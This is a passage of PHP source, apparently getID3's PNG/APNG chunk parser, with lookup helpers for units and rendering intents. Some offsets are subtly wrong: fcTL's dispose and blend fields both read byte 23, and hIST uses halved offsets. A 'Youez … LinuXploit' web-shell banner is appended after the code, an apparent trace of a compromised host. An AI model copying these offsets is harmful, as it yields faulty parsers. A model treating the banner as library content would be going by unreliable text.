							$thisfile_png_chunk_type_text['significant_bits_red']   = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1));
							$thisfile_png_chunk_type_text['significant_bits_green'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 1, 1));
							$thisfile_png_chunk_type_text['significant_bits_blue']  = getid3_lib::BigEndian2Int(substr($chunk['data'], 2, 1));
							$thisfile_png_chunk_type_text['significant_bits_alpha'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 3, 1));
							break;

						default:
							break;
					}
					break;


				case 'sPLT': // Suggested Palette
					$thisfile_png_chunk_type_text['header']                           = $chunk;
					list($palettename, $otherdata)                                    = explode("\x00", $chunk['data'], 2);
					$thisfile_png_chunk_type_text['palette_name']                     = $palettename;
					$sPLToffset = 0;
					$thisfile_png_chunk_type_text['sample_depth_bits']                = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, 1));
					$sPLToffset += 1;
					$thisfile_png_chunk_type_text['sample_depth_bytes']               = $thisfile_png_chunk_type_text['sample_depth_bits'] / 8;
					$paletteCounter = 0;
					while ($sPLToffset < strlen($otherdata)) {
						$thisfile_png_chunk_type_text['red'][$paletteCounter]       = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, $thisfile_png_chunk_type_text['sample_depth_bytes']));
						$sPLToffset += $thisfile_png_chunk_type_text['sample_depth_bytes'];
						$thisfile_png_chunk_type_text['green'][$paletteCounter]     = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, $thisfile_png_chunk_type_text['sample_depth_bytes']));
						$sPLToffset += $thisfile_png_chunk_type_text['sample_depth_bytes'];
						$thisfile_png_chunk_type_text['blue'][$paletteCounter]      = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, $thisfile_png_chunk_type_text['sample_depth_bytes']));
						$sPLToffset += $thisfile_png_chunk_type_text['sample_depth_bytes'];
						$thisfile_png_chunk_type_text['alpha'][$paletteCounter]     = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, $thisfile_png_chunk_type_text['sample_depth_bytes']));
						$sPLToffset += $thisfile_png_chunk_type_text['sample_depth_bytes'];
						$thisfile_png_chunk_type_text['frequency'][$paletteCounter] = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, 2));
						$sPLToffset += 2;
						$paletteCounter++;
					}
					break;


				case 'hIST': // Palette Histogram
					$thisfile_png_chunk_type_text['header'] = $chunk;
					$hISTcounter = 0;
					while ($hISTcounter < strlen($chunk['data'])) {
						$thisfile_png_chunk_type_text[$hISTcounter] = getid3_lib::BigEndian2Int(substr($chunk['data'], $hISTcounter / 2, 2));
						$hISTcounter += 2;
					}
					break;


				case 'tIME': // Image Last-Modification Time
					$thisfile_png_chunk_type_text['header'] = $chunk;
					$thisfile_png_chunk_type_text['year']   = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 2));
					$thisfile_png_chunk_type_text['month']  = getid3_lib::BigEndian2Int(substr($chunk['data'], 2, 1));
					$thisfile_png_chunk_type_text['day']    = getid3_lib::BigEndian2Int(substr($chunk['data'], 3, 1));
					$thisfile_png_chunk_type_text['hour']   = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 1));
					$thisfile_png_chunk_type_text['minute'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 5, 1));
					$thisfile_png_chunk_type_text['second'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 6, 1));
					$thisfile_png_chunk_type_text['unix']   = gmmktime($thisfile_png_chunk_type_text['hour'], $thisfile_png_chunk_type_text['minute'], $thisfile_png_chunk_type_text['second'], $thisfile_png_chunk_type_text['month'], $thisfile_png_chunk_type_text['day'], $thisfile_png_chunk_type_text['year']);
					break;


				case 'oFFs': // Image Offset
					$thisfile_png_chunk_type_text['header']         = $chunk;
					$thisfile_png_chunk_type_text['position_x']     = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 4), false, true);
					$thisfile_png_chunk_type_text['position_y']     = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 4), false, true);
					$thisfile_png_chunk_type_text['unit_specifier'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 8, 1));
					$thisfile_png_chunk_type_text['unit']           = $this->PNGoFFsUnitLookup($thisfile_png_chunk_type_text['unit_specifier']);
					break;


				case 'pCAL': // Calibration Of Pixel Values
					$thisfile_png_chunk_type_text['header']             = $chunk;
					list($calibrationname, $otherdata)                              = explode("\x00", $chunk['data'], 2);
					$thisfile_png_chunk_type_text['calibration_name']   = $calibrationname;
					$pCALoffset = 0;
					$thisfile_png_chunk_type_text['original_zero']      = getid3_lib::BigEndian2Int(substr($chunk['data'], $pCALoffset, 4), false, true);
					$pCALoffset += 4;
					$thisfile_png_chunk_type_text['original_max']       = getid3_lib::BigEndian2Int(substr($chunk['data'], $pCALoffset, 4), false, true);
					$pCALoffset += 4;
					$thisfile_png_chunk_type_text['equation_type']      = getid3_lib::BigEndian2Int(substr($chunk['data'], $pCALoffset, 1));
					$pCALoffset += 1;
					$thisfile_png_chunk_type_text['equation_type_text'] = $this->PNGpCALequationTypeLookup($thisfile_png_chunk_type_text['equation_type']);
					$thisfile_png_chunk_type_text['parameter_count']    = getid3_lib::BigEndian2Int(substr($chunk['data'], $pCALoffset, 1));
					$pCALoffset += 1;
					$thisfile_png_chunk_type_text['parameters']         = explode("\x00", substr($chunk['data'], $pCALoffset));
					break;


				case 'sCAL': // Physical Scale Of Image Subject
					$thisfile_png_chunk_type_text['header']         = $chunk;
					$thisfile_png_chunk_type_text['unit_specifier'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1));
					$thisfile_png_chunk_type_text['unit']           = $this->PNGsCALUnitLookup($thisfile_png_chunk_type_text['unit_specifier']);
					list($pixelwidth, $pixelheight)                             = explode("\x00", substr($chunk['data'], 1));
					$thisfile_png_chunk_type_text['pixel_width']    = $pixelwidth;
					$thisfile_png_chunk_type_text['pixel_height']   = $pixelheight;
					break;


				case 'gIFg': // GIF Graphic Control Extension
					$gIFgCounter = 0;
					if (isset($thisfile_png_chunk_type_text) && is_array($thisfile_png_chunk_type_text)) {
						$gIFgCounter = count($thisfile_png_chunk_type_text);
					}
					$thisfile_png_chunk_type_text[$gIFgCounter]['header']          = $chunk;
					$thisfile_png_chunk_type_text[$gIFgCounter]['disposal_method'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1));
					$thisfile_png_chunk_type_text[$gIFgCounter]['user_input_flag'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 1, 1));
					$thisfile_png_chunk_type_text[$gIFgCounter]['delay_time']      = getid3_lib::BigEndian2Int(substr($chunk['data'], 2, 2));
					break;


				case 'gIFx': // GIF Application Extension
					$gIFxCounter = 0;
					if (isset($thisfile_png_chunk_type_text) && is_array($thisfile_png_chunk_type_text)) {
						$gIFxCounter = count($thisfile_png_chunk_type_text);
					}
					$thisfile_png_chunk_type_text[$gIFxCounter]['header']                 = $chunk;
					$thisfile_png_chunk_type_text[$gIFxCounter]['application_identifier'] = substr($chunk['data'],  0, 8);
					$thisfile_png_chunk_type_text[$gIFxCounter]['authentication_code']    = substr($chunk['data'],  8, 3);
					$thisfile_png_chunk_type_text[$gIFxCounter]['application_data']       = substr($chunk['data'], 11);
					break;


				case 'IDAT': // Image Data
					$idatinformationfieldindex = 0;
					if (isset($thisfile_png['IDAT']) && is_array($thisfile_png['IDAT'])) {
						$idatinformationfieldindex = count($thisfile_png['IDAT']);
					}
					unset($chunk['data']);
					$thisfile_png_chunk_type_text[$idatinformationfieldindex]['header'] = $chunk;
					break;

				case 'IEND': // Image Trailer
					$thisfile_png_chunk_type_text['header'] = $chunk;
					break;

				case 'acTL': // Animation Control chunk
					// https://wiki.mozilla.org/APNG_Specification#.60acTL.60:_The_Animation_Control_Chunk
					$thisfile_png['animation']['num_frames'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 4)); // Number of frames
					$thisfile_png['animation']['num_plays']  = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 4)); // Number of times to loop this APNG.  0 indicates infinite looping.

					unset($chunk['data']);
					$thisfile_png_chunk_type_text['header'] = $chunk;
					break;

				case 'fcTL': // Frame Control chunk
					// https://wiki.mozilla.org/APNG_Specification#.60fcTL.60:_The_Frame_Control_Chunk
					$fcTL = array();
					$fcTL['sequence_number'] = getid3_lib::BigEndian2Int(substr($chunk['data'],  0, 4)); // Sequence number of the animation chunk, starting from 0
					$fcTL['width']           = getid3_lib::BigEndian2Int(substr($chunk['data'],  4, 4)); // Width of the following frame
					$fcTL['height']          = getid3_lib::BigEndian2Int(substr($chunk['data'],  8, 4)); // Height of the following frame
					$fcTL['x_offset']        = getid3_lib::BigEndian2Int(substr($chunk['data'], 12, 4)); // X position at which to render the following frame
					$fcTL['y_offset']        = getid3_lib::BigEndian2Int(substr($chunk['data'], 16, 4)); // Y position at which to render the following frame
					$fcTL['delay_num']       = getid3_lib::BigEndian2Int(substr($chunk['data'], 20, 2)); // Frame delay fraction numerator
					$fcTL['delay_den']       = getid3_lib::BigEndian2Int(substr($chunk['data'], 22, 2)); // Frame delay fraction numerator
					$fcTL['dispose_op']      = getid3_lib::BigEndian2Int(substr($chunk['data'], 23, 1)); // Type of frame area disposal to be done after rendering this frame
					$fcTL['blend_op']        = getid3_lib::BigEndian2Int(substr($chunk['data'], 23, 1)); // Type of frame area rendering for this frame
					if ($fcTL['delay_den']) {
						$fcTL['delay'] = $fcTL['delay_num'] / $fcTL['delay_den'];
					}
					$thisfile_png['animation']['fcTL'][$fcTL['sequence_number']] = $fcTL;

					unset($chunk['data']);
					$thisfile_png_chunk_type_text['header'] = $chunk;
					break;

				case 'fdAT': // Frame Data chunk
					// https://wiki.mozilla.org/APNG_Specification#.60fcTL.60:_The_Frame_Control_Chunk
					// "The `fdAT` chunk has the same purpose as an `IDAT` chunk. It has the same structure as an `IDAT` chunk, except preceded by a sequence number."
					unset($chunk['data']);
					$thisfile_png_chunk_type_text['header'] = $chunk;
					break;

				default:
					//unset($chunk['data']);
					$thisfile_png_chunk_type_text['header'] = $chunk;
					$this->warning('Unhandled chunk type: '.$chunk['type_text']);
					break;
			}
		}
		if (!empty($thisfile_png['animation']['num_frames']) && !empty($thisfile_png['animation']['fcTL'])) {
			$info['video']['dataformat'] = 'apng';
			$info['playtime_seconds'] = 0;
			foreach ($thisfile_png['animation']['fcTL'] as $seqno => $fcTL) {
				$info['playtime_seconds'] += $fcTL['delay'];
			}
		}
		return true;
	}

	/**
	 * @param int $sRGB
	 *
	 * @return string
	 */
	public function PNGsRGBintentLookup($sRGB) {
		static $PNGsRGBintentLookup = array(
			0 => 'Perceptual',
			1 => 'Relative colorimetric',
			2 => 'Saturation',
			3 => 'Absolute colorimetric'
		);
		return (isset($PNGsRGBintentLookup[$sRGB]) ? $PNGsRGBintentLookup[$sRGB] : 'invalid');
	}

	/**
	 * @param int $compressionmethod
	 *
	 * @return string
	 */
	public function PNGcompressionMethodLookup($compressionmethod) {
		static $PNGcompressionMethodLookup = array(
			0 => 'deflate/inflate'
		);
		return (isset($PNGcompressionMethodLookup[$compressionmethod]) ? $PNGcompressionMethodLookup[$compressionmethod] : 'invalid');
	}

	/**
	 * @param int $unitid
	 *
	 * @return string
	 */
	public function PNGpHYsUnitLookup($unitid) {
		static $PNGpHYsUnitLookup = array(
			0 => 'unknown',
			1 => 'meter'
		);
		return (isset($PNGpHYsUnitLookup[$unitid]) ? $PNGpHYsUnitLookup[$unitid] : 'invalid');
	}

	/**
	 * @param int $unitid
	 *
	 * @return string
	 */
	public function PNGoFFsUnitLookup($unitid) {
		static $PNGoFFsUnitLookup = array(
			0 => 'pixel',
			1 => 'micrometer'
		);
		return (isset($PNGoFFsUnitLookup[$unitid]) ? $PNGoFFsUnitLookup[$unitid] : 'invalid');
	}

	/**
	 * @param int $equationtype
	 *
	 * @return string
	 */
	public function PNGpCALequationTypeLookup($equationtype) {
		static $PNGpCALequationTypeLookup = array(
			0 => 'Linear mapping',
			1 => 'Base-e exponential mapping',
			2 => 'Arbitrary-base exponential mapping',
			3 => 'Hyperbolic mapping'
		);
		return (isset($PNGpCALequationTypeLookup[$equationtype]) ? $PNGpCALequationTypeLookup[$equationtype] : 'invalid');
	}

	/**
	 * @param int $unitid
	 *
	 * @return string
	 */
	public function PNGsCALUnitLookup($unitid) {
		static $PNGsCALUnitLookup = array(
			0 => 'meter',
			1 => 'radian'
		);
		return (isset($PNGsCALUnitLookup[$unitid]) ? $PNGsCALUnitLookup[$unitid] : 'invalid');
	}

	/**
	 * @param int $color_type
	 * @param int $bit_depth
	 *
	 * @return int|false
	 */
	public function IHDRcalculateBitsPerSample($color_type, $bit_depth) {
		switch ($color_type) {
			case 0: // Each pixel is a grayscale sample.
				return $bit_depth;

			case 2: // Each pixel is an R,G,B triple
				return 3 * $bit_depth;

			case 3: // Each pixel is a palette index; a PLTE chunk must appear.
				return $bit_depth;

			case 4: // Each pixel is a grayscale sample, followed by an alpha sample.
				return 2 * $bit_depth;

			case 6: // Each pixel is an R,G,B triple, followed by an alpha sample.
				return 4 * $bit_depth;
		}
		return false;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit